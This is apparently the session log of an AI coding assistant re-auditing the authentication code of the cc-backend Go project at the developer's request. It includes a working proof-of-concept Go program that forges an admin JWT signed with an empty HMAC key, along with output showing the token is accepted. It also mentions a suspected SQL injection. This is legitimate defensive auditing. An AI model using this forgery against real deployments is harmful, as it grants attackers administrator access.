registration"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":18670,"cache_read_input_tokens":39735,"output_tokens":1363,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":18670,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1363,"cache_read_input_tokens":39735,"cache_creation_input_tokens":18670,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":18670},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZbKFRVCGtN3CrcAc7k","type":"assistant","uuid":"bfa9799a-7115-4527-811c-fd3b51a64f5a","timestamp":"2026-06-04T16:49:36.365Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"bfa9799a-7115-4527-811c-fd3b51a64f5a","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01F9VrHU3ydxeqKXgQpYHsT9","type":"tool_result","content":"111:\tJwtConfig    *JWTAuthConfig `json:\"jwts\"`\n227:\t\tif Keys.JwtConfig != nil {\n233:\t\t\tjwtSessionAuth := &JWTSessionAuthenticator{}\n240:\t\t\tjwtCookieSessionAuth := &JWTCookieSessionAuthenticator{}\n290:\thandleUserSync(tokenUser, Keys.JwtConfig.SyncUserOnLogin, Keys.JwtConfig.UpdateUserOnLogin)","is_error":false}]},"uuid":"f71eee0a-8577-4688-a542-7c088beea6b6","timestamp":"2026-06-04T16:49:36.416Z","toolUseResult":{"stdout":"111:\tJwtConfig    *JWTAuthConfig `json:\"jwts\"`\n227:\t\tif Keys.JwtConfig != nil {\n233:\t\t\tjwtSessionAuth := &JWTSessionAuthenticator{}\n240:\t\t\tjwtCookieSessionAuth := &JWTCookieSessionAuthenticator{}\n290:\thandleUserSync(tokenUser, Keys.JwtConfig.SyncUserOnLogin, Keys.JwtConfig.UpdateUserOnLogin)","stderr":"","interrupted":false,"isImage":false,"noOutputExpected":false},"sourceToolAssistantUUID":"bfa9799a-7115-4527-811c-fd3b51a64f5a","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"2c0c99a4-ab96-4455-bff1-0c55721ce18f","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_018NBtva4cN9zwqBivz7KwFx","type":"tool_result","content":"25:\tgithub.com/golang-jwt/jwt/v5 v5.3.1","is_error":false}]},"uuid":"10042a9b-1d92-46a2-aae2-06643cfecb6d","timestamp":"2026-06-04T16:49:36.998Z","toolUseResult":{"stdout":"25:\tgithub.com/golang-jwt/jwt/v5 v5.3.1","stderr":"","interrupted":false,"isImage":false,"noOutputExpected":false},"sourceToolAssistantUUID":"2c0c99a4-ab96-4455-bff1-0c55721ce18f","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"10042a9b-1d92-46a2-aae2-06643cfecb6d","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_0141zQjznFEzj48q1jKvNV7L","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01TFvwuSK2G1pRdo8i2KMwR7","name":"Read","input":{"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/auth.go","offset":227,"limit":30},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1566,"cache_read_input_tokens":58405,"output_tokens":126,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1566,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":126,"cache_read_input_tokens":58405,"cache_creation_input_tokens":1566,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1566},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZcZRVMQPjgewo1yRsy","type":"assistant","uuid":"ac35efb4-4d5d-402c-8f3d-b035a667477e","timestamp":"2026-06-04T16:49:39.871Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"ac35efb4-4d5d-402c-8f3d-b035a667477e","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01TFvwuSK2G1pRdo8i2KMwR7","type":"tool_result","content":"227\t\t\tif Keys.JwtConfig != nil {\n228\t\t\t\tauthInstance.JwtAuth = &JWTAuthenticator{}\n229\t\t\t\tif err := authInstance.JwtAuth.Init(); err != nil {\n230\t\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> jwtAuth init failed\")\n231\t\t\t\t}\n232\t\n233\t\t\t\tjwtSessionAuth := &JWTSessionAuthenticator{}\n234\t\t\t\tif err := jwtSessionAuth.Init(); err != nil {\n235\t\t\t\t\tcclog.Info(\"jwtSessionAuth init failed: No JWT login support!\")\n236\t\t\t\t} else {\n237\t\t\t\t\tauthInstance.authenticators = append(authInstance.authenticators, jwtSessionAuth)\n238\t\t\t\t}\n239\t\n240\t\t\t\tjwtCookieSessionAuth := &JWTCookieSessionAuthenticator{}\n241\t\t\t\tif err := jwtCookieSessionAuth.Init(); err != nil {\n242\t\t\t\t\tcclog.Info(\"jwtCookieSessionAuth init failed: No JWT cookie login support!\")\n243\t\t\t\t} else {\n244\t\t\t\t\tauthInstance.authenticators = append(authInstance.authenticators, jwtCookieSessionAuth)\n245\t\t\t\t}\n246\t\t\t} else {\n247\t\t\t\tcclog.Info(\"Missing JWT configuration: No JWT token support!\")\n248\t\t\t}\n249\t\n250\t\t\tauthInstance.LocalAuth = &LocalAuthenticator{}\n251\t\t\tif err := authInstance.LocalAuth.Init(); err != nil {\n252\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> localAuth init failed\")\n253\t\t\t}\n254\t\t\tauthInstance.authenticators = append(authInstance.authenticators, authInstance.LocalAuth)\n255\t\t})\n256\t}"}]},"uuid":"80f5173c-ab46-41ff-bdef-ffcc4391f07a","timestamp":"2026-06-04T16:49:39.880Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/auth.go","content":"\t\tif Keys.JwtConfig != nil {\n\t\t\tauthInstance.JwtAuth = &JWTAuthenticator{}\n\t\t\tif err := authInstance.JwtAuth.Init(); err != nil {\n\t\t\t\tcclog.Fatal(\"Error while initializing authentication -> jwtAuth init failed\")\n\t\t\t}\n\n\t\t\tjwtSessionAuth := &JWTSessionAuthenticator{}\n\t\t\tif err := jwtSessionAuth.Init(); err != nil {\n\t\t\t\tcclog.Info(\"jwtSessionAuth init failed: No JWT login support!\")\n\t\t\t} else {\n\t\t\t\tauthInstance.authenticators = append(authInstance.authenticators, jwtSessionAuth)\n\t\t\t}\n\n\t\t\tjwtCookieSessionAuth := &JWTCookieSessionAuthenticator{}\n\t\t\tif err := jwtCookieSessionAuth.Init(); err != nil {\n\t\t\t\tcclog.Info(\"jwtCookieSessionAuth init failed: No JWT cookie login support!\")\n\t\t\t} else {\n\t\t\t\tauthInstance.authenticators = append(authInstance.authenticators, jwtCookieSessionAuth)\n\t\t\t}\n\t\t} else {\n\t\t\tcclog.Info(\"Missing JWT configuration: No JWT token support!\")\n\t\t}\n\n\t\tauthInstance.LocalAuth = &LocalAuthenticator{}\n\t\tif err := authInstance.LocalAuth.Init(); err != nil {\n\t\t\tcclog.Fatal(\"Error while initializing authentication -> localAuth init failed\")\n\t\t}\n\t\tauthInstance.authenticators = append(authInstance.authenticators, authInstance.LocalAuth)\n\t})\n}","numLines":30,"startLine":227,"totalLines":650}},"sourceToolAssistantUUID":"ac35efb4-4d5d-402c-8f3d-b035a667477e","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"type":"last-prompt","lastPrompt":"I did a security review with Opus 4.7 . Fixes are already applied. Repeat the audit and check if anything severe was missed in the previous audit","leafUuid":"80f5173c-ab46-41ff-bdef-ffcc4391f07a","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
{"type":"ai-title","aiTitle":"Repeat security audit after fixes","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
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{"parentUuid":"80f5173c-ab46-41ff-bdef-ffcc4391f07a","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01DxTZ3zr2qUAueFe9W2dz2q","type":"message","role":"assistant","content":[{"type":"thinking","thinking":"","signature":"EukECmMIDhgCKkCR4SU0bxONNsrAPXJ1c9IJ+0UU8WqlavoTlvqy2tCc10nxh6exMK3LF1v3xg5ZeIyZeQQyYAZVpWvzaERdPP8+Mg9jbGF1ZGUtb3B1cy00LTg4AEIIdGhpbmtpbmcSDEbeQNryD5jLqRlvwhoMkiza+Wq8rqBW9GHjIjCzunCHysSqi1W+xH4als5FYQHq95z/cObwDZNpMUfEwDDDJRGwT83rCOWAB8aIelUqswPI8lfVK1E4wJ7HKRcw78d42A1M7EVCvyMpQuNW5HvXnkna9TW468MPJyOkRs+kq6FqrvVoxuiBE5VFM6AD2ok2dxutAvoIS37LlwLOs0AeSzM3csO03jAxi1mwCj/fiHtrCj30WhR7gBGJCd5iNaPmU2UEZ5P2utrG40ot0kNEsWrGSOi963aR7nP68LGryKW4QY09UFMy3uB/TmOMDAAu8D3T/OV0+1R7jadbhYL9zOboOq/sPg3m2CrEXtvC/86yFjWFYqwdjsS2rtV9AQESny7go6Svgi93PSpe2Lg3XG4u7WEtWqM3SmnP9sjvztlO/GwcDkrWxbwJUXjG5JtBXJKseeD63Tl2brx8HI7q7lPtbBsEg96mNK+giPnACoWYCaqg6iVu4a0l7ye53vA71gdmSeTm0cajpoCrcHQQ76w+um/AKyI0XUHQuJI2bCO4kZ7lIs2RNALEoxurda1GW/AzPQF5L2rU3eXqsN6tsLYN2zTz/adoKCEWUShZ4v8YaFN7NXVcwEWU86VnGOVM2395NwHTlvwFWvfUpCIwWVYpygIz9LF6Xf0EWhT2f83yYiQYAQ=="}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":696,"cache_read_input_tokens":59971,"output_tokens":1030,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":696,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1030,"cache_read_input_tokens":59971,"cache_creation_input_tokens":696,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":696},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZcmz3TdCYkdwaJrEJv","type":"assistant","uuid":"b25cbc69-ed06-48c5-8444-33003f18e884","timestamp":"2026-06-04T16:49:44.415Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"b25cbc69-ed06-48c5-8444-33003f18e884","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01DxTZ3zr2qUAueFe9W2dz2q","type":"message","role":"assistant","content":[{"type":"text","text":"Registration confirmed: `jwtSessionAuth` is registered even when `CROSS_LOGIN_JWT_HS512_KEY` is unset (Init returns nil). Now the decisive question — does golang-jwt v5.3.1 accept a nil HMAC key? Let me PoC it."}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":696,"cache_read_input_tokens":59971,"output_tokens":1030,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":696,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1030,"cache_read_input_tokens":59971,"cache_creation_input_tokens":696,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":696},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZcmz3TdCYkdwaJrEJv","type":"assistant","uuid":"67af4874-2e32-428f-97dc-0299636a1bec","timestamp":"2026-06-04T16:49:45.325Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"67af4874-2e32-428f-97dc-0299636a1bec","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01DxTZ3zr2qUAueFe9W2dz2q","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01V4b2smq8jT4PWSHbQ1TkZg","name":"Bash","input":{"command":"cd /tmp && rm -rf jwtpoc && mkdir jwtpoc && cd jwtpoc && cat > main.go <<'EOF'\npackage main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/golang-jwt/jwt/v5\"\n)\n\nfunc main() {\n\t// Attacker forges HS512 token signed with EMPTY/nil key\n\tvar nilKey []byte // nil, simulating loginTokenKey when CROSS_LOGIN_JWT_HS512_KEY unset\n\tclaims := jwt.MapClaims{\"sub\": \"attacker\", \"roles\": []string{\"admin\"}}\n\ttok := jwt.NewWithClaims(jwt.SigningMethodHS512, claims)\n\tsigned, err := tok.SignedString(nilKey)\n\tif err != nil {\n\t\tfmt.Println(\"sign error:\", err)\n\t\treturn\n\t}\n\tfmt.Println(\"forged token:\", signed[:40], \"...\")\n\n\t// Server side: replicate jwtSession.go Login keyfunc with nil loginTokenKey\n\tparsed, err := jwt.Parse(signed, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\treturn nilKey, nil\n\t\t}\n\t\treturn nil, errors.New(\"unknown method\")\n\t})\n\tif err != nil {\n\t\tfmt.Println(\"RESULT: rejected ->\", err)\n\t\treturn\n\t}\n\tif parsed.Valid {\n\t\tc := parsed.Claims.(jwt.MapClaims)\n\t\tfmt.Printf(\"RESULT: FORGED TOKEN ACCEPTED sub=%v roles=%v\\n\", c[\"sub\"], c[\"roles\"])\n\t}\n}\nEOF\ngo mod init jwtpoc >/dev/null 2>&1\ngo get github.com/golang-jwt/jwt/v5@v5.3.1 >/dev/null 2>&1\ngo run main.go","description":"PoC empty-key HMAC JWT forgery"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":696,"cache_read_input_tokens":59971,"output_tokens":1030,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":696,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1030,"cache_read_input_tokens":59971,"cache_creation_input_tokens":696,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":696},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZcmz3TdCYkdwaJrEJv","type":"assistant","uuid":"1c71a8c5-3160-4545-9dce-dba7b6b17e59","timestamp":"2026-06-04T16:49:51.802Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"1c71a8c5-3160-4545-9dce-dba7b6b17e59","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01V4b2smq8jT4PWSHbQ1TkZg","type":"tool_result","content":"forged token: REDACTED ...\nRESULT: FORGED TOKEN ACCEPTED sub=attacker roles=[admin]\nShell cwd was reset to /Users/jan/prg/ClusterCockpit/cc-backend","is_error":false}]},"uuid":"18f3e47c-d519-447a-a7cc-167501313933","timestamp":"2026-06-04T16:49:59.528Z","toolUseResult":{"stdout":"forged token: REDACTED ...\nRESULT: FORGED TOKEN ACCEPTED sub=attacker roles=[admin]","stderr":"\nShell cwd was reset to /Users/jan/prg/ClusterCockpit/cc-backend","interrupted":false,"isImage":false,"noOutputExpected":false},"sourceToolAssistantUUID":"1c71a8c5-3160-4545-9dce-dba7b6b17e59","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"18f3e47c-d519-447a-a7cc-167501313933","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_018qPTu3zhyyn26nzZiD9a8a","type":"message","role":"assistant","content":[{"type":"thinking","thinking":"","signature":"EsUHCmMIDhgCKkCILczZ/CVa7nfZX+D/n5HKZJq8SpMsUY+2NohS5RtmerzyQO1DPTDXPwreYN/nSYLAULy+E/5Qcs2ynBzGB1hBMg9jbGF1ZGUtb3B1cy00LTg4AEIIdGhpbmtpbmcSDMaWkU9eBUuO3DsxSxoMNaburY8qDTFtYD9HIjAimTRN2Ou+WTZH9S/6gQPH/rU9FJwR/TtiPyKOIf/Dhb5hSp7DuPbACL1fmFL0Iy4qjwZy8I8hfaCHIZKKhIJCB2IErFr6NNyy3iyX33ZxJX9OlWHGZ7bumq/9VmCqVtGZQfvmy2tT51ElamNh/48m0CB9QBhh254Apxk+funPclXnklrUNrSIVz+e/52XAlmuxyrNK2JanMBft0eq7UUra7P4m1Y3E+fAToDPIi2dVpa3uYQOJNRpnE7UhYPiL2diU676C+yd1XO7E8clK/nxq8ZIhrBqQ2LCYb1dnXa1LfGVQmwAoxrDknG3v21SwO762xVMuBzJA0t7okElsj0+P3rSQtwiaWiZaghltodHw7LEpec601q3OWSCG3D732y58VCuLBSRm82uz7U7x0HRU9MsNDBDFtNSIKYgnqoRs0FXEmw/mXyO55QGKoz5mFNQGnmACpcqUJnf/t2WtiYqcMb509coBg/0H6sARFlsXCohPJy1mTBQAXC2V+211ocAsJwMP7/ZMM1uWQ6NmKE/pcHyM7bz8tPLuGIrrpdDJBaLOx3J63dUuVcQVg3RRtexrap98MBGNGRuqVC8Ez5Twtl1Vfrn6cQf5NkLKYzhA2VpAoBmTf8XabmGYJZ7wYi8BNJiofpBy45GlH8wijGiYkW6C9QzU+G88wy8BeDPtASKlivh6XBHMo/g3hOtAjjtVN0ZWkH4oX680377rhyPdVYO3PiMcmb8I87W2Vu+WBaPmRD+eDLfplfMPIKM+sOFDrLhiRb1k1dus5WmyIXqLIOM1O8ISYapDbMLMILKznDgUfl/7WuJBv+xKfk41lszRaLIFj8D0fr0dnbTslwZFjsW4FRVX/LPFN9WOn4zeMr5E++3v7ey4nQWpbOYsXPwQPmo/72YrGxDJUnYzPI7yNp9dzIJUsQvCaRB6XAPGZ+Kp0G7EsZqAjv+fj/gxb+NATUGWOJexdlp7lrOVSomi6h0OUsQ2Av5ehJQ7B5qsglm2tXrD+n5encOtQ0B6zF4kqF1aHKbHCm85GPQSw7HTLfATgDiW9jCt1CBPO+3uAM49Ouh0+jUwvDN5RcKSuWK4m7dyPMusDASink8Jr2KJ10YAQ=="}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1151,"cache_read_input_tokens":60667,"output_tokens":711,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1151,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":711,"cache_read_input_tokens":60667,"cache_creation_input_tokens":1151,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1151},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZeDtYc4zzUiXXimqBq","type":"assistant","uuid":"41f4a8cc-f1d6-40be-afeb-b21058620404","timestamp":"2026-06-04T16:50:04.848Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"41f4a8cc-f1d6-40be-afeb-b21058620404","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_018qPTu3zhyyn26nzZiD9a8a","type":"message","role":"assistant","content":[{"type":"text","text":"Confirmed — the empty-key forgery works on v5.3.1. Let me verify the exploitation precondition (`ValidateUser` default and how roles flow) and confirm the metric-name SQLi has no upstream whitelist."}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1151,"cache_read_input_tokens":60667,"output_tokens":711,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1151,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":711,"cache_read_input_tokens":60667,"cache_creation_input_tokens":1151,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1151},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZeDtYc4zzUiXXimqBq","type":"assistant","uuid":"3a7b7025-56d4-4eb9-a49f-642b1d31ca26","timestamp":"2026-06-04T16:50:06.318Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"3a7b7025-56d4-4eb9-a49f-642b1d31ca26","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_018qPTu3zhyyn26nzZiD9a8a","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01BVYenq3B8kbr1PKCMvxiNE","name":"Bash","input":{"command":"grep -rn \"func getUserFromJWT\\|ValidateUser\\|extractRolesFromClaims\" internal/auth/jwt.go | head; echo \"---- default config ----\"; grep -rn \"ValidateUser\\|validate-user\\|validateUser\" internal/auth/*.go pkg/ internal/ 2>/dev/null | grep -i \"default\\|false\\|true\" | head","description":"Check ValidateUser default and role extraction"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1151,"cache_read_input_tokens":60667,"output_tokens":711,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1151,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":711,"cache_read_input_tokens":60667,"cache_creation_input_tokens":1151,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1151},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZeDtYc4zzUiXXimqBq","type":"assistant","uuid":"c7dffeaa-77b0-4b51-a2dd-26d6e1257633","timestamp":"2026-06-04T16:50:08.262Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"c7dffeaa-77b0-4b51-a2dd-26d6e1257633","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01BVYenq3B8kbr1PKCMvxiNE","type":"tool_result","content":"internal/auth/jwt.go:32:\tValidateUser bool `json:\"validate-user\"`\ninternal/auth/jwt.go:107:\tuser, err = getUserFromJWT(claims, Keys.JwtConfig.ValidateUser, schema.AuthToken, -1)\ninternal/auth/jwt.go:113:\tif !Keys.JwtConfig.ValidateUser {\ninternal/auth/jwt.go:114:\t\tuser.Roles = extractRolesFromClaims(claims, false)\n---- default config ----\ninternal/auth/jwtHelpers.go:97:// If validateUser is true, the user must exist in the database\ninternal/auth/jwtHelpers.go:97:// If validateUser is true, the user must exist in the database","is_error":false}]},"uuid":"043b13a5-129c-428e-a6ce-d1d06aa10eda","timestamp":"2026-06-04T16:50:08.337Z","toolUseResult":{"stdout":"internal/auth/jwt.go:32:\tValidateUser bool `json:\"validate-user\"`\ninternal/auth/jwt.go:107:\tuser, err = getUserFromJWT(claims, Keys.JwtConfig.ValidateUser, schema.AuthToken, -1)\ninternal/auth/jwt.go:113:\tif !Keys.JwtConfig.ValidateUser {\ninternal/auth/jwt.go:114:\t\tuser.Roles = extractRolesFromClaims(claims, false)\n---- default config ----\ninternal/auth/jwtHelpers.go:97:// If validateUser is true, the user must exist in the database\ninternal/auth/jwtHelpers.go:97:// If validateUser is true, the user must exist in the database","stderr":"","interrupted":false,"isImage":false,"noOutputExpected":false},"sourceToolAssistantUUID":"c7dffeaa-77b0-4b51-a2dd-26d6e1257633","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"043b13a5-129c-428e-a6ce-d1d06aa10eda","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_018qPTu3zhyyn26nzZiD9a8a","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01TjvqgZQTBt2gifgpnvTipY","name":"Read","input":{"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwt.go","offset":130,"limit":60},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1151,"cache_read_input_tokens":60667,"output_tokens":711,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1151,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":711,"cache_read_input_tokens":60667,"cache_creation_input_tokens":1151,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1151},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZeDtYc4zzUiXXimqBq","type":"assistant","uuid":"46bfbc4a-d74b-49c4-a389-8eceae0a1ef4","timestamp":"2026-06-04T16:50:09.012Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"46bfbc4a-d74b-49c4-a389-8eceae0a1ef4","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01TjvqgZQTBt2gifgpnvTipY","type":"tool_result","content":"130\t\t\t\"roles\": user.Roles,\n131\t\t\t\"iat\":   now.Unix(),\n132\t\t}\n133\t\tif Keys.JwtConfig.MaxAge != \"\" {\n134\t\t\td, err := time.ParseDuration(Keys.JwtConfig.MaxAge)\n135\t\t\tif err != nil {\n136\t\t\t\treturn \"\", errors.New(\"cannot parse max-age config key\")\n137\t\t\t}\n138\t\t\tclaims[\"exp\"] = now.Add(d).Unix()\n139\t\t}\n140\t\n141\t\treturn jwt.NewWithClaims(jwt.SigningMethodEdDSA, claims).SignedString(ja.privateKey)\n142\t}\n143\t"}]},"uuid":"408cb12b-8661-4cd1-84fe-c496c0ba8d76","timestamp":"2026-06-04T16:50:09.027Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwt.go","content":"\t\t\"roles\": user.Roles,\n\t\t\"iat\":   now.Unix(),\n\t}\n\tif Keys.JwtConfig.MaxAge != \"\" {\n\t\td, err := time.ParseDuration(Keys.JwtConfig.MaxAge)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.New(\"cannot parse max-age config key\")\n\t\t}\n\t\tclaims[\"exp\"] = now.Add(d).Unix()\n\t}\n\n\treturn jwt.NewWithClaims(jwt.SigningMethodEdDSA, claims).SignedString(ja.privateKey)\n}\n","numLines":14,"startLine":130,"totalLines":143}},"sourceToolAssistantUUID":"46bfbc4a-d74b-49c4-a389-8eceae0a1ef4","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
